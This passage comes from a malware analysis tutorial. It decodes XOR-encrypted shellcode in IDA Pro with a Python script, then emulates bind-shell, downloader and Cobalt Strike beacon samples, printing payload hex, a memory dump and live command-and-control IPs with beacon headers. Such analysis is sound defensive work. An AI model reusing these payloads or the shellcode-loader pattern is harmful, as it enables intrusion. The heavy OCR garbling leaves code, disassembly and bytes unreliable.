; DATA XREF: sub_481713+Bto

-
!“'Ir, 3 3 [
g
i NS 0 A
2
3 3

db "=

do HE.
[Figure 40] byte_403014
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Extract this content by pressing SHIFT+E and save it as a raw binary, as shown below:

. W Export data x

Export as

() hex string (unspaced)

() hex string (spaced)

() string literal

() C unsigned char array (hex)
() € unsigned char array (dedmal)
() initialized C variable

O raw bytes

[C] save data to dipboard

| Prewview

Cannot preview binary data

| Line:1  Column:27

| Butput file extracted_shellcode_2_draft.bin e

|

[Figure 41] Extracting data

Checking basic information on the file we have:

root@ubuntu@l:~/malware/mas/mas 09# file extracted shellcode 2 draft.bin
extracted shellcode 2 draft.bin: data

root@ubuntu@l:~/malware/mas/mas 09#

root@ubuntu®@l:~/malware/mas/mas_09# strings -a extracted shellcode 2 draft.bin
%2<&

<1X~*

5Ugl

<28 Y";1i

dEX

04%ulL

~1y&0

{i}~

CYv*n
JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA

root@ubuntu@l:~/malware/mas/mas 09#

[Figure 42] Checking basic information on extracted file

Opening it on IDA Pro we have:
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5egdo0:8808eaBe ; Segment type: Pure code

$eghde: Beooeeee segbod segment byte public "CODE" wuse32

$eghos: Beoooooe assume cs:segbid

seghds: Beooooee assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
' 5eghBl: Beooooee adc eax, B@ESFD17@Dh

seghbd: BeeReans in eax, @FEh

segfbd: BeeRean’7 jz short near ptr loc 12+3

segfbd: BeeRnans aam ACh ; "L’

segfbd: BeeRnans cdg

seghBd: BeERABAC bound esi, [edi-16448952h]

seghBd:Boeaaal2

Segldd: 80000012 loc_12: ; CODE XREF: segb@.00boeee7tj
segd00.: oeooaal2 adc eax, QECGEFDAFh

Seghdd:Booaaal7 aad 8E6h

segf00: eoaaals push edx

segf00: 800e0ala aam 8DBh

seghBd : BEERAGB1C fcomp  dword ptr [edx]

segf00: 0eoeealt scasd

segf00: beooaalr cmp eax, B1FFD945h

segfo0: Bo0ooa24 jmp short near ptr _

[Figure 43] extracted file on IDA Pro: non-sense instructions
This kind of behavior is a clear indication that the code above is encoded, and we must decode it first.

Returning to our original binary and, in special, on Figure 39, there is a call for sub_401648, whose content
is shown below:

1 char *__cdecl sub_481648(char *1lpBuffer, int nNumber(fBytesTolrite)
2 {
3  char *NamedPipeh; // ebx
4  char *result; // eax
5  DWORD *p_NumberOfBytesWritten; // edx
6 BOOL w7; // eax
7 DWORD *v8; // [esp+2Ch] [ebp-2Ch]
8  DWORD NumberOfByteskWritten; // [esp+3Ch] [ebp-1Ch] BYREF
9
18 NumberOfByteskritten = @;
11  NamedPipeA = (char *)CreateNamedPipeA(Buffer, 2u, @, 1lu, @, @, @, @);
12 result = NamedPipel - 1;
13 if ( (unsigned int)(NamedPipeh - 1) <= BxFFFFFFFD )
14
15 result = (char *)ConnectNamedPipe(NamedPipeh, 8);
16 p_NumberOfBytesklritten = &NumberOfBytesWritten;
17 if ( result )
18 {
19 while { nMumberOfBytesTolirite > 8 )
20 1{
21 v8 = p NumberOfBytesWritten;
22 v7 = WriteFile(NamedPipeA, lpBuffer, nMNumberOfBytesToWrite, p NumberOfBytesWritten, @);
23 p_NumberOfBytesWritten = v8;
24 if ( W7 )
25 break;
26 lpBuffer += NumberOfBytesWritten;
27 nilumber0fBytesTolrite -= NumberOfBytesWritten;
28 I
29 return (char *)CloseHandle(NamedPipel);
30 ¥
E
32  return result;
33}

[Figure 44] sub_401648
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This function creates a named pipe, connects to it, and saves the content of the buffer, which is exactly our

extracted (and encoded) content.

Returning to Figure 38 (sub_401840), at address 0x004018F5, there is a jmp sub_4017E2 instruction,

whose content is shown below:

.text:B804817E2 ; int sub 4817E2()

Ltext:004817E2 sub_4817E2 proc near ; CODE XREF: sub_481848+B51]
Ltext:004817E2 push ebp

.text:004017E3 mowv ebp, esp

.text:004817ES push esi

.text:004817E6 push ebx

Ltext:004017E7 sub esp, 18h

.text:084017EA mowv eax, dwSize

.text:B04017EF mov [esp], eax ; Size

Ltext:0e4817F2 call malloc

Ltext:0e4a17F7 mov esi, ds:5leep

.text:0ed4el7FD mowv ebx, eax

.text:084817FF

Ltext:004817FF loc_4817FF: ; CODE XREF: sub_4@817E2+3Al]
Ltext:004017FF mow dword ptr [esp], 488h ; dwMilliseconds
.text:ee4a1886 call esi ; Sleep

.text: 00401888 push eax

Ltext:00401889 mov eax, dwSize

.text:B048180E mowv [esp], ebx ; lpBuffer
.text:80401811 mow [esp+d], eax ; nlumber0fBytesToRead
.text:00481815 call sub_481732

Ltext:0848181A test eax, eax

.text:0848181C jz short loc_d4@17FF

.text:0048181E mowv eax, dwSize

.text: 80401823 mov [esp], ebx ; int

.text: 00481826 mow dword ptr [esp+8], offset unk_ 4838688 ; int
.text:8040182E mow [esp+d], eax ; dwSize

Ltext: 004081832 call sub_48158E

.text: 80401837 lea esp, [ebp-8]

Ltext: 08481834 xor eax, eax

.text:0848183C pop ebx

.text: 08481830 pop esi

.text:0048183E pop ebp

.text:0048183F retn

.text:0840183F sub 4@17E2 endp

[Figure 45] sub_4017E2

The sub_401732 routine (address 0x401815) contains, basically, a pair of ReadFile and WriteFile functions
calls. It also receives as arguments the NumberOfBytesToRead and IpBuffer, which pointer to our

extracted encoded bytes from Figure 40.

To the next function (sub_40158E), the size, some bytes coming from unk_403008 and finally the same
buffer are passed as arguments. No doubt, this is the classical behavior of a decryptor where its arguments

are composed of:

= the buffer to be decoded (ebx)
= the size of the data to be decoded (dwSize)
= the key (unk_403008)
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The key has been presented in Figure 40 and it is repeated below:

.data: 804838088 unk_4B38683 db BESh ; DATA XREF: sub_4817E2+44t0
.data: 88483889 db BESh
.data: 80483884 db SEh
.data: 80483806 db 8FDh

[Figure 46] unk_403008

Examining the sub_40158E routine we have:

.text: 00408158 ; HANDLE _ cdecl sub 48158E(int, signed int dwSize, int)

.text:0048158E sub_48158E proc near ; CODE XREF: sub_4817E2+58lp
Ltext:0048158E
Ltext:0048158E f101dProtect = dword ptr -1Ch

Ltext:0048158E arg @
Ltext: 8048158 dwSize
.text: 0040158 arg 8
.text:0040158E

dword ptr &
dword ptr @Ch
dword ptr 18h

Ltext:8040158E push ebp

.text:8040158F mow ebp, esp

.text:004081591 push edi

Ltext: 00401592 push esi

Ltext: 80401593 push ebx

Ltext: 00481594 sub esp, 3Ch

.text:00481597 mow esi, [ebp+dwSize]

Ltext: 80481594 mowv dword ptr [esp+8Ch], 4 ; flProtect
Ltext: 88481542 mowv dword ptr [esp+8], 3888h ; flAllocationType
Ltext: 80481544 mow dword ptr [esp], @ ; lpAddress
.text:00481561 mow [esp+4], esi ; dwSize
.text:004015B5 call ds:VirtualAlloc

.text:004015EB xor ecx, ecx

Ltext:eed4al15B8D sub esp, 18h

Ctext:eedelsce mow ebx, eax

.text:804015C2 Jmp short loc_4815DE

text:@04015C4 ;
. text:084815C4

Ltext:804815C4 loc_4815C4: ; CODE XREF: sub_48158E+521]
Ltext:e04815C4 mow eax, ecx

Ltext:004015C6 mov edi, 4

.text:004015CE cdq

Ltext:@84815CC idiv edi

.text:004815CE mow edi, [ebp+arg 8]

.text: 00481501 mow al, [edi+edx]

Ltext: 80461504 mowv edi, [ebp+arg 8]

.text: 80481507 Xor al, [edi+ecx]

Ltext: 00481504 mow [ebx+ecx], al

Ltext: 00481500 inc ecx

.text:004015DE

.text: 0848150 loc_4815DE: ; CODE XREF: sub_48158E+341]
Ctext:8e4@150E cmp ecx, esi

.text:804815E8 jl short loc_4815C4

[Figure 47] sub_40158E

The highlighted code is where the decryption happens, but it will be clearer using the decompiler:
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1 HANDLE _ cdecl sub 48158E(int al, signed int dwSize, int a3)
2 { I

3 LPVOID wv3; // eax

4 signed int wvd; // ecx

5 void *v5; // ebx

6 int f10ldProtect[7]; // [esp+2Ch] [ebp-1Ch] BYREF

7

8 w3 = VirtualAlloc(@®, dwSize, 8x3888u, 4u);

L H
10 v5 = v3;
11  while ({ vid < dwSize )
12 {
13 *((_BYTE *)v3 + v4) = *(_BYTE *)(al + v4) A *(_BYTE *)(a3 + v4 % 4);
14 ++ud;
15}

16 sub_401559((int)v3);

17  VirtualProtect(v5, dwSize, 8x20u, (PDWORD)fl0ldProtect);

18  return CreateThread(®, @, (LPTHREAD START_ROUTINE)StartAddress, v5, @, 8);
19 }

[Figure 48] sub_40158E (decompiled)

Now it is pretty clear what is occurring, and that previous extracted code was encoded, as expected. To
make things even easier, the same code follows below, but this time contains some renamed code:

1 HANDLE _ cdecl sub_48158E(int buffer, signed int dwSize, int key)
2 {

3 LPVOID ptr_mem; // eax

4 signed int counter; // ecx

5 wold *ptr_meml; // ebx

6 int fl01dProtect[7]; // [esp+2Ch] [ebp-1Ch] BYREF

7

8 ptr_mem = VirtualAlloc(®, dwSize, ©x3000u, 4du);

9 counter = 8;
18 ptr_meml = ptr_mem;
11 while ( counter < dwSize )
12

3 *((_BYTE *)ptr_mem + counter) = *(_BYTE *)(buffer + counter) * *(_BYTE *)(key + counter % 4);
14 ++counter;
15}
16 ab_resolve function((int)ptr mem);

17  VirtualProtect(ptr_meml, dwSize, @x26u, (PDWORD)f1l0ldProtect);
18  return CreateThread(®, @8, (LPTHREAD START ROUTINE)StartAddress, ptr meml, @, 8);
19 }

[Figure 49] sub_40158E (decompiled and with renamed code)
There are a few observations here:

= The dwsSize is given as 836 bytes (check at .data:00403004), but the extracted code has 1016 bytes.
We do not have to be concerned about it right now because it will be done it automatically.

= The key has not only one byte, but four bytes.

= The decrypting part of the code is essentially the line 13 from Figure 49 above.

Our job now is to write a Python script that read that previous extracted code, decode it, and save the
resulting code into a new file. You can do it in any language of convenience:
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1 import sys

2

3 def print help():

4 print{"Usage: python script.py <encoded file>")
5 sys.exit(1)

6

7 def read binary file(file path}):

8 try:

9 with open(file_path, "rb") as file:

10 return bytearray(file.read())

11 except FileNotFoundError:

12 print(f"Error: File not found - {file path}")
13 sys.exit(1)

14

15 # Check it the correct number of arguments is provided
16 if len(sys.argv) !'= 2:
17 print help()

19 # Read data from binary file provided as argument
20 buffer file = sys.argv[l]
21 buffer = read binary file(buffer file)

23 # Hardcoded hex string for key
24 key hex = "E9ES59EFD"

26 # Convert the hex string to byte array
27 key = bytearray.fromhex({key hex)

29 # Initialize the result array
30 decoded = bytearray(len(buffer))

32 # Perform the bitwise XOR operation
33 counter = 0
34 while counter < len(buffer):

35 decoded[counter] = buffer[counter] © key[counter % len(key)]
36 counter += 1
37

38 # Write the result to a binary file
39 output file = "decoded shellcode.bin"
40 with open(output file, "wb") as file:
41 file.write(decoded)

43 print(f"Result written to {output file}")
[Figure 50] decryptor_final.py
The script contains appropriate commentaries, and the valid observations are:

= | have entered the key on line 24 (check for the key in Figure 46).
= | have tried to use almost the same name from the decompiled, only changing the name ptr_mem
by decoded.

| could have written the same script in IDA Python to make the extraction of the bytes to be decoded and
the key automatically, but it would be a waste of time because it would likely not be reused for other
samples.
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root@ubuntu@l:~/malware/mas/mas 09# python

Usage:

python script.py <encoded file>

root@ubuntufl:~/malware/mas/mas 09# python

de.bin

Result written to decoded shellcode.bin

root@ubuntu@l:~/malware/mas/mas 09#

root@ubuntuﬂl:~fma1warefmasfmas:99# hexdump

00000000
00000010
AEO0ER20
00000030
00000040
00000050
00000060
elelelololo ]
00000080
00000090
000000a0b
A0000OLE
a000EOCH
000000d0e
000000e0
000000T0
a0000100
00000110
00000120
00000130
00000140
AEOOO150
00000160
00000170
00000180
00000190
00000 1ab
000001b0e
000001cO
000001d0
000001el
OEOOOLTE

root@ubuntu@l:~/malware/mas/mas 09#

fc
52
ac
8b
do
01
03
Oc
5b
68
Tf
56
03
d5
52
c3
75
2d
85
cl
68
58
01
97
96
b
3
39
be
28
45
54

ed
Oc
3c
52
50
d6
7d
4b
5b
Ge
d5
79
51
50
52
50
46
06
fé
68
b7
50
(0]
aa
9f
29
8d
02
74
63
20
20

89
8b
61
10
8b
31
8
8b
61
65
el
al
51
e9
52
68
e
18
74
45
57
eg
(810]
54
91
6d
e’
57
3a
6f
38
35

00
52
ic
8b
48
Tf
3b
58
59
74
00
Tf
68
8c
53
80
86
7b
04
21
el
7b
e8d
d3
5b
85
47
Te
20
6d
2e
2e

00
14
02
42
18
31
7d
1lc
5a
00
00
d5
12
00
52
33
Tf
Tf
89
Se
Ob
Tf
6f
ba
68
Qe
la
az
4d
70
30
31

00
8b
2c
3c
8b
ch
24
01
51
68
00
e9
30
00
50
00
d5
d5
o
31
Tf
Tf
Tf
27
21
87
ae
6f
bf
61
3b
3b

60
72
20
01
58
ac
75
d3
Tf
77
00
ad
0o
0o
68
00
5f
85
eb
Tf
d5
Tf
Tf
al
05
da
91
d8
Ta
74
20
20

89
28
cl
do
20
cl
el
8b
el
69
31
0o
0o
5b
eb
89
31
cO
09
d5
bt
31
Tf
cl
bc
99
1b
00
69
69
57
54

e5
of
ct
8b
01
cf
58
04
58
be
Tf
00
53
31
55
el
Tf
of
68
31
00
Tf
2T
bb
2d
6T
20
55
bc
62
69
72

31
b7
od
40
d3
od
8b
8b
5f
69
57
00
50
d2
2e
6a
57
84
aa
Tf
2T
eg
4b
63
57
d9
7b
73
bc
6c
be
69

d2
da
01
78
e3
01
58
01
5a
54
57
5b
68
52
3b
04
57
ca
c5
57
00
91
74
5b
87
93
O3
65
61
65
64
64

root@ubuntu@l:~/malware/mas/mas 09# strings

hwiniThLwé&

User-Agent:
118.89.133.137

-C
64
26
c7
85
3c
c7
24
do
8b
68
57
31
57
68
Tf
50
ba
01
el
6a
00
01
68
b6
b7
la
67
72
2f
3b
6f
65

Mozilla/4.0 (compatible; MSIE 8.0;

[Figure 51] Decryptor in action

./decryptor_final.py

./decryptor final.py encrypted shellco

decoded shellcode.bin | head -32

8b
31
el
cl
49
38
01
89
12
dc
57
c9
89
00
d5
ba
Tf
00
5d
07
39
0o
35
ec
ec
38
52
2d
34
20
77
be

52
Tf
o
74
8b
el
d3
44
eb
77
57
51
9f
32
89
1f
53
00
Tf
51
c?
0o
00
dc
bd
90
39
41
2e
4d
73
74

30
31
52
4da
34
75
66
24
86
26
68
51
cb
cO
cb
56
56
31
d5
56
75
eg
80
65
db
dc
0a
67
30
53
20
2T

8b
cO
57
01
8b
T4
8b
24
5d
07
3a
6a
Tf
84
83
68
68
Tf
89
50
07
c9
41
la
7d
83
22
65
20
49
de
34

vy
1.0
p

|RRRSRPh u.

|.P

h

T

YZQ X Z.

[1. E'QJ
Oh.0..5PhW.
[1. Rh 2

h.3....5.Pj.Vh]|

l WWj .5Vh|

E1~1..1.Wj.QUP]|
w ...... I 9.u.|

{ ........ |
0. fKths A|

{ gR9 )

w .User-Age|
Mozlllafd 0 |
ompatlble, MSI|
8.0; Windows N|
5.1; Trident/4|

e.|
I
m - |
I

-nl0@ decoded shellcode.bin

Windows NT 5.1; Trident/4.0; SV1)

It has worked! Of course, we have to check it on IDA Pro to ensure that everything has been correctly
decoded, but the fact that we can see the User-Agent and IP address in a clear text, without any strange
character in the middle, is a good signal that the decryptor script is correct. In the next section we will
check the extracted code through another approach to confirm that it is really a shellcode.

Therefore, open the decoded_shellcode.bin on IDA Pro as shown below:
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segbbd:e0eesed sub 6 proc near
segddd: beeeeeee
seghbil: peeeeses var 4 = dword ptr -4
segddd: beeeeeee
v segddl: Beeoaaee cld
seghid: geaaasel call loc_8F
seghie : BeeReRas pusha
seghBd: peasess’ mov ebp, esp
seghBe : peeeeeas xor edx, edx
segfbd: BEARBRAE mov edx, fs:[edx+36h]
segBBf : BERBRBAF mov edx, [edx+8Ch]
seghbo: feaREa12 mov edx, [edx+l4h]
segddd: 0eeegels
seghies: peeeeels loc 15: ; CODE XREF: sub 8+8Dlj
segfbo: BeARBA15 mov esi, [edx+28h]
segBBf : BEABRE1E movzx  ecx, word ptr [edx+26h]
seghie : eeeeeelc xor edi, edi
segdBd: 0eeeselE
seghie : Peeeee1lE loc 1E: ; CODE XREF: sub 8+2C1j
seghie : Beeeee1E xor eax, eax
seghdd: peaoes2a lodsb
seghie :peeeea2l cmp al, 61h ; 'a°’
seghbd: 0eoees23 jl short loc_ 27
seghie : peeeee2s sub al, 28h ;
segdbd: oeeeee2y
seghil: peeeee27 loc 27: ; CODE XREF: sub 8+231]
seghbe : peeeee2’y ror edi, 8Dh
seghdd: 0eaeaa2n add edi, eax
seghie : peeeee2C loop loc 1E
seghBd: peaees2E push edx
seghie : peeeee2F push edi
seghbo: fenRBa30 mov edx, [edx+18h]
segBBf : BEABRAE3I3 mov eax, [edx+3Ch]
seghbe : BeeRee 36 add eax, edx
segbBf: 0eeaee3s mowv eax, [eax+78h]
seghbe : peeeee 3B test eax, eax
seghBe : peeagasDn jz short loc_ 89
cegd0d 08000883 F add eax, edx

[Figure 52] Decrypted shellcode

It is really perfect! Although | have not shown all the steps above, the following actions have been
performed:

= The file has been opened as a binary (32-bit).
= The first byte has been converted to code (C key).
= A new function has been created by pressing P key on the first instruction.

From this point onward, you can repeat exactly the same approach and techniques from the first example,
and everything should work well.

An analysis of a shellcode on IDA Pro is always possible, but on several opportunities we will have to do
prior work before having the binary ready to be examined.
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8. Emulation

If you have the shellcode itself, you can always try to emulate its execution to understand what it does and
how it eventually interacts with the system. There are multiple shellcode emulators, and two well-known
are:

= scdbg: https://sandsprite.com/blogs/index.php/index.php?uid=7&pid=152
= speakeasy: https://github.com/mandiant/speakeasy

Both are efficient in emulating the shellcode, but speakeasy offers many more features, which are very
appropriate to manage with Cobalt Strike beacon, for example.

The extracted shellcode from example 02 can be easily emulated by running the following command (even
on Linux using Wine):

root@ubuntuBl:~/malware/mas/mas_09# wine scdbg.exe /T decoded shellcode.bin /s 30000000

Loaded 38 bytes from file decoded shellcode.bin
Initialization Complete..

Max Steps: 30000000

Using base offset: Ox401000

4010a2 LoadLibraryA(wininet)

4010b5 InternetOpenA()

4010d1l InternetConnectA(server: 118.89.133.137, port: 12306, )
4010ed HttpOpenRequestA(path: /Kth5, )

401106 InternetSetOptionA(h=4893, opt=1f, buf=12fdec, blen=4)
401116 HttpSendRequestA(User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1)

.

401138 GetDesktopWindow()

401147 InternetErrorDlg(11223344, 4893, 401138, 7, 0)

401303 VirtualAlloc(base=0 , sz=400000) = 600000

40131e InternetReadFile(4893, buf: 600000, size: 2000)

Stepcount 30000001

[Figure 53] Emulating a shellcode using scdbg

The command above is trivial, and | have changed the number of steps (/s option) to be able to show all
the instructions being executed. Information about the IP address can be collected running:

root@ubuntu®@l:~/malware/mas/mas 09# malwoverview -ip 1 -IP 118.89.133.137 -0 0

IPINFO.IO REPORT

Ip: 118.89.133.137

Org: AS45090 Shenzhen Tencent Computer Systems Company Limited
Country: CN

Region: Shanghail

City: Shanghai

Loc: 31.2222,121.4581

Postal: 200000

Timezone: Asia/Shanghai
[Figure 54] IP address information
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Using speakeasy is not different, and we can use it to emulate our shellcode sample:

root@ubuntufl:~/malware/mas/mas_09# speakeasy -t shellcode 01.bin -r -a x86 -q 20

* exec: shellcode

0x109b: 'kernel32.LoadLibraryA("ws2 32")' -> 0x78c00000

0x10ab: 'ws2 32.WSAStartup(0x190, 0x1203edc)' -= Ox0

0x10bc: 'ws2 32.WSASocketA("AF _INET", "SOCK STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x10cf: 'ws2 32.bind(0x4, "0.0.0.0:9999", 0x10)' -> 0x0

0x10d7: 'ws2 32.listen(0x4, 0xf270002)' -> OxO

0x10df: 'ws2 32.accept(Ox4, 0x0, Ox0)' -> Ox8

0x10e8: 'ws2 32.closesocket(0x4)' -> Ox0

0x111lb: 'kernel32.CreateProcessA(0Ox0, "cmd", 0x0, 0x0, 0x1, 0x0, O0x0, 0x0, 0x1203d
fc, 0x1203dec)' -=> 0Ox1

0x1129: 'kernel32.WaitForSingleObject(0x220, OxTTffffff)"' -> Ox0

0x1135: 'kernel32.GetVersion()' -> Ox1dbl0106

0x1148: 'kernel32.ExitProcess(0x0)' -> 0Ox0

* Finished emulating

root@ubuntu®@l:~/malware/mas/mas 09#

[Figure 55] Emulating a shellcode with speakeasy

Another example would be to the analysis of a bit different type of shellcode as a Cobalt Strike beacon,
which has the same behavior as previous shellcodes, but brings us further indicators:

= shellcode_03.bin: f067744430110ffc62618ceac48f764d4be90eed44f3bd6bcf8c5d1ba0a8d046e

Examining its first bytes we have:

root@ubuntu@l:~/malware/mas/mas_09# hexdump -C shellcode 03.bin | head -20
00000000 fc e8 1T 00 00 00 7d af al 5a 47 70 de 75 8e 9b |...... }..ZGp.u..

I
00000010 02 65 55 06 88 8c f4 79 56 d6 f7 b2 25 4b 9e cb u YV sKL L
00000020 00 44 06 ad T4 eb 27 5b 8b 63 83 c3 04 8b 33 31 D B P 31|
00000030 cb 83 c3 04 53 8b 2b 31 c5 89 2b 31 e8 83 c3 04 S.+1..+1. |
00000040 83 ee 04 31 ed 39 ee 74 02 eb ea 58 ff e0 eB8 d4 1.9.t...X. |
000e0O50 ff ff ff 2b 90 25 88 2b 38 26 88 66 ca 77 cd 8e coat %5 B8 TLw. |

I
I
I
I
00000060 ca 77 cd 8e 91 fe 12 db 18 1b 93 18 e8 9¢c 93 18 |.W.............. |
I
I
I
I

00000070 17 4f fb e8 a2 ed ad 80 ab ed ad 80 f1 12 7d 80O 0 }o
0ooeee80 f1 12 /d 80 f1 12 /d 80 f1 12 7/d 80 f1 12 /d 80 | S S T
000EEO90 f1 12 7d 80 f1 12 7d 70 f1 12 7d 7e ee a8 73 Te R I L I e
00O0OBad 5a al be 5f e2 a® f2 92 c¢3 f4 9a fb b0 d4 ea 89 |Z.. ............ |

000000be® df b3 98 e8 b2 93 fb 89 dc fd 94 fd fc 9f fldd |......... .. ..ot |
000000cO® B8e ea 9f fd e7 84 bf b9 a8 d7 9f d4 c¢7 b3 fa fa |................ |
000000d0 ca be O de ca be f0 de ca be f0 b4 81 e7 29 %92 |.............. ).
000000e® ab dO a3 b4 81 e7 29 9a ab d® a3 09 ce 71 29 26 |...... ) I q)&
000000fO® e4 46 a3 16 9c f5 29 10 b6 c2 a3 20 ce 60 29 1b | )
00000100 e4 57 a3 2b 9c e3 29 87 b6 d4 a3 8e 5a 98 29 ab | .W.+..
00EO0110 70 af a3 85 5a 99 29 78 70 ae a3 48 08 10 29 a8 |p...Z.)xp..H
00000120 22 27 a3 e0 e6 dd 29 cf cc ea a3 ff b4 4f 29 do |"'...
00000130 9Y9e 78 a3 eO e6 de 29 cf «cc e9 a3 9d a5 8a cb b3 |
root@ubuntu@l:~/malware/mas/mas 09#

[Figure 56] First bytes of shellcode_03.bin

There is a good hint that we are seeing a shellcode. Instead of analyzing it on IDA Pro (it would be exactly
the same procedure), | am going to use speakeasy to emulate it:
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root@ubuntu@l:~/malware/mas/mas_09# speakeasy -t shellcode 03.bin -r -a x86 -q 10 -d memory_d
ump.zip -0 report.json
* exec: shellcode

0xa565: 'kernel32.VirtualAlloc(0x0, 0x46000, 0x3000, "PAGE EXECUTE_READWRITE")' -> 0x50000
0x9f81: '"kernel32.LoadLibraryA("KERNEL32.d11")' -> 0x77000000

Oxab4c: 'kernel32.GetProcAddress(0x77000000, "CreateNamedPipeA")' -> 0xTeee0000

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "ReadProcessMemory")' -> OxTeeef001

Oxafdc: "kernel32.GetProcAddress (0x77000000, "CreateProcessA")' -> OxTeeeB002

Oxab4c: 'kernel32.GetProcAddress(0x77000000, "TerminateProcess")' -> Oxfeee0003

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "GetCurrentDirectoryW")' -> OxfTeeel004
Oxa04c: 'kernel32.GetProcAddress(0x77000000, "WriteProcessMemory")' -> OxfTeeeB005

Oxab4dc: 'kernel32.GetProcAddress(0x77000000, "GetFullPathNameA")' -> OxfeeeB006

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "SystemTimeToTzSpecificlLocalTime")' -> OxTeeel00
7

Oxa0dc: 'kernel32.GetProcAddress(0x77000000, "GetLogicalDrives")' -> OxTeeecO008

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "ExpandEnvironmentStringsA")' -> OxTeeel009
Oxa04c: 'kernel32.GetProcAddress(0x77000000, "GetFileAttributesA")' -> OxfTeeel00a

Oxa04dc: 'kernel32.GetProcAddress(0x77000000, "FileTimeToSystemTime")' -> @xfeee@0Ob
Oxafdc: '"kernel32.GetProcAddress(0x77000000, "FindFirstFileA")' -> OxTeee@00c

Oxab4c: 'kernel32.GetProcAddress(0x77000000, "CopyFileA")' -= Oxfeee000d
Oxaf4c: '"kernel32.GetProcAddress(0x77000000, "FindClose")' -> Oxfeeel00e
Oxafdc: 'kernel32.GetProcAddress(0x77000000, "MoveFileA")' -> OxTeeed00T

Oxabdc: 'kernel32.GetProcAddress(0x77000000, "FindNextFileA")' -> Oxfeee(001l0

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "GetCurrentProcessId")' -> Oxfeee@@ll
Oxaf4c: 'kernel32.GetProcAddress(0x77000000, "Thread32First")' -> OxfTeee0012

Oxabdc: 'kernel32.GetProcAddress(0x77000000, "Thread32Next")' -> 0xfeee@@l3

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "CreateToolhelp32Snapshot")' -> OxfTeee0014
Oxa04c: 'kernel32.GetProcAddress(0x77000000, "CreateThread")' -> OxfTeee@O0Ll5

Oxab4dc: 'kernel32.GetProcAddress(0x77000000, "SetlLastError")' -= 0Oxfeeel0l6

Oxafdc: 'kernel32.GetProcAddress(0x77000000, "GetVersionExA")' -> OxTeeeb017

Oxab4c: 'kernel32.GetProcAddress(0x77000000, "VirtualAlloc")' -> 0xfeeeB018

[Figure 57] Emulating shellcode_03.bin with speakeasy

Examining the last lines of the report.json, which is the product of the emulation, we have:

root@ubuntu@l:~/malware/mas/mas 09# cat report.json | jg | tail -20 | head -16
"dns": [1],
"traffic": [
{

"server": "79.137.206.217",

"proto”: "tcp.http",

"port": 80,

"headers": "GET /load HTTP/l.1\nCookie: cxXp+MTsYrlBuXiSmvmds71b/ym
tIGT+joiKc+/Wfi+ns1IcOfPoFpBvj/2ejZKadEqj XQk6wwRVOUPenFmLKXGAH3G6WggwRQS18dEKA+
GorT2wi/1IhcOk3wZ+wfBh+UtWgMdRHkRzbMKTTjhgE6h4QWTIO9WDE+1GIgwSomZM=\r\nHost: 79.
137.206.217\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.08; Windows NT 6.0; WOW
64; Trident/5.0; msn OptimizedIES8;ENUS)\nConnection: Keep-Alive\nCache-Control:

no-cache\n"

}
]
s
"dynamic_ code segments": [
{
"tag": "api.VirtualAlloc.0x50000",
"base": "0x50000",
"size": "0x46000"
}

[Figure 58] report.json

Collecting information on the IP address shows us:
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root@ubuntu@l:~/malware/mas/mas 09# malwoverview -ip 1 -IP 79.137.206.217 -0 @

IPINFO.IO REPORT

Ip: 79.137.206.217

Hostname: beta.aeza.network

Org: AS210644 AEZA INTERNATIONAL LTD
Country: SE

Region: Stockholm

City: Stockholm

Loc: 59.3294,18.0687

Postal: 195 87

Timezone: Europe/Stockholm
[Figure 59 ] IP address information

Copy the memory_dump.zip file into separate directory and unzip it there. Once you have done it, there
will be a series of files, but according to our emulation report (Figure 58) the really important code
segment is api.VirtualAlloc.0x50000, which holds the content of emulation:

root@ubuntu@l:~/malware/mas/mas_09/memory_dump# hexdump -C api.VirtualAlloc.0x
0000.mem | head -40

00000000 4d 5a 52 45 <8 00 00 00 00 5b 89 df 55 89 e5 81 |MZRE..... [..U...]
00000010 c3 fO 87 OO 00 ff d3 68 O b5 a2 56 68 04 00 00 |....... h...Vh...|
00000020 00 57 ff dO 00 OO OO GO OO OO0 OO0 OO 0O 0O OO 00 |.W.............. |
00000030 00 00 OO OO0 00 00 OO 60 OO OO0 00 60 fO 60 OO @O0 |................ |
00000040 0Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........ 1..L.!Th|
00000O50 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6be 6f |is program canno|
00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
00000070 6d 6T 64 65 2e Od Od Ga 24 00 00 00 OO GO OO @0 |mode....%....... |
00000080 6a 4b 59 d9 2e 2a 37 8a 2e 2a 37 8a 2e 2a 37 8a |jKY..*7..*7..*%7.|
00000090 93 65 al 8a 2T 2a 37 8a 30 78 b3 8a 06 2a 37 8a |.e../*7.0x...*7.|
000000ad® 30 78 a2 8a 3b 2a 37 8a 30 78 b4 8a ac 2a 37 8a |O0x..;*7.0x...*7.|
000000bO 09 ec 4c 8a 25 2a 37 8a 2e 2a 36 8a fd 2a 37 Ba |..L.%*7..%6..%7.|
000000cO 30 78 be Ba e0 2a 37 8a 48 c4 fa 8a 2f 2a 37 8a |Ox...*7T.H.../*7.|
000000d0 30 78 a5 8a 2f 2a 37 8a 30 78 a6 8a 2f 2a 37 8a |Ox../*7.0x../*7.|
000000ed 52 69 63 68 2e 2a 37 8a 00 00 00 00 00 60 B0 @0 |Rich.*7......... |
00000OTO 50 45 00 00 4c 01 04 B0 52 05 ee 63 00 60 00 00 |PE..L...R..c....|
00000100 00 00 OO 00 e0 00 02 al Ob 01 09 60 00 7a 02 @O0 |............. z..|
00000110 066 b2 O1 00 00 00 0O 60 0Od 8d 01 60 0O 10 B0 @O |................ |
